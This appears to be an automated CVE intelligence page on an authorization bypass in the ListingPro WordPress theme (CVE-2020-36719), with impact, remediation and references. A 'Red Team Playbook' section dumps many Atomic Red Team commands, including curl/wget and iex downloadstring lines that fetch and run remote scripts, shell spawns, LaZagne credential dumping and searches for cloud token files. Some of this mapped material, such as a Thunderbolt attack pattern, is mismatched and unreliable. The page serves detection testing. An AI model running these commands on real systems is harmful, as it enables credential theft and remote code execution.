CVE-2020-36719
Overview
This vulnerability is an authorization bypass affecting the ListingPro WordPress theme's plugin management functionality. The root cause is a missing capability check within the lp_cc_addons_actions function, which is responsible for handling plugin installation, activation, and deactivation requests. This flaw resides in the theme's backend code that manages addon actions, allowing unauthorized invocation of privileged operations.
Vulnerability Description
The ListingPro - WordPress Directory & Listing Theme for WordPress is vulnerable to Arbitrary Plugin Installation, Activation and Deactivation in versions before 2.6.1. This is due to a missing capability check on the lp_cc_addons_actions function. This makes it possible for unauthenticated attackers to arbitrarily install, activate and deactivate any plugin.
Impact
An unauthenticated attacker can remotely install, activate, and deactivate any WordPress plugin on a site running vulnerable ListingPro versions. This enables full control over plugin lifecycle, potentially leading to arbitrary code execution, persistent backdoors, or site compromise. No user interaction or authentication is required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward and highly impactful for site integrity and availability.
Solution
Upgrade ListingPro to version 2.6.1 or later where the missing capability check in lp_cc_addons_actions has been implemented. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/a08fa649-3092-4c26-a009-2dd576b9b1ac) and the Nintechnet blog post for detailed patch instructions. Applying the official update is the recommended remediation to restore proper authorization controls on plugin management actions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the ListingPro theme for WordPress arises from a critical oversight in the implementation of capability checks within the lp_cc_addons_actions function. This flaw permits unauthenticated users to execute arbitrary actions related to plugin management, specifically the installation, activation, and deactivation of plugins. The absence of proper access controls means that anyone with knowledge of the endpoint can exploit this weakness, leading to unauthorized modifications of the WordPress environment. Such a vulnerability is particularly concerning given the extensive use of WordPress as a content management system, where themes and plugins are integral to functionality and user experience.
Attack vectors exploiting this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker could craft a simple HTTP request targeting the vulnerable function, thereby bypassing authentication mechanisms entirely. Once access is gained, the attacker can install malicious plugins that could facilitate further exploitation, such as backdoors for persistent access, data exfiltration, or even complete site takeover. Additionally, the ability to deactivate security plugins or other critical components can lead to a cascading failure of the website's defenses, making it easier for attackers to execute their objectives without detection.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the ListingPro theme for their online directories. The potential for unauthorized plugin management can lead to severe reputational damage, loss of customer trust, and financial repercussions. If an attacker were to deploy a malicious plugin, they could compromise sensitive user data, disrupt services, or even hold the website hostage through ransomware tactics. The implications extend beyond immediate financial loss; they can also result in regulatory scrutiny, especially if personal data is involved, leading to fines and legal challenges.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted security strategy. Regularly updating the ListingPro theme to the latest version is crucial, as it addresses the identified flaw and enhances overall security. Additionally, employing web application firewalls (WAF) can help filter out malicious requests targeting the vulnerable function. Monitoring logs for unusual activity, such as unauthorized plugin installations or changes in plugin status, can also provide early warning signs of exploitation attempts. Furthermore, organizations should enforce strict access controls and limit the number of users with administrative privileges to reduce the attack surface.
In conclusion, the vulnerability within the ListingPro theme exemplifies the critical need for robust security practices in web applications. The ease of exploitation and potential for significant impact underscore the importance of proactive measures, including timely updates, monitoring, and access control. By understanding the nature of this vulnerability and implementing comprehensive security strategies, organizations can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cridio | Listingpro | All |
cpe:2.3:a:cridio:listingpro:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-36719 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a08fa649-3092-4c26-a009-2dd576b9b1ac?source=cve |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/wordpress-listingpro-theme-fixed-a-critical-vulnerability/ |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/item/listingpro-multipurpose-directory-theme/19386460 |